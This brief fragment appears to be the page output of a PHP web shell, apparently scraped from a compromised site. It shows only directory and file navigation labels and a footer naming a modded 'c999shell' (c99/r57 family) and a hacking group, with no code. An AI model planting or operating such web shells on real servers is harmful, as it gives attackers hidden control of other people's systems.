:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.102 ]--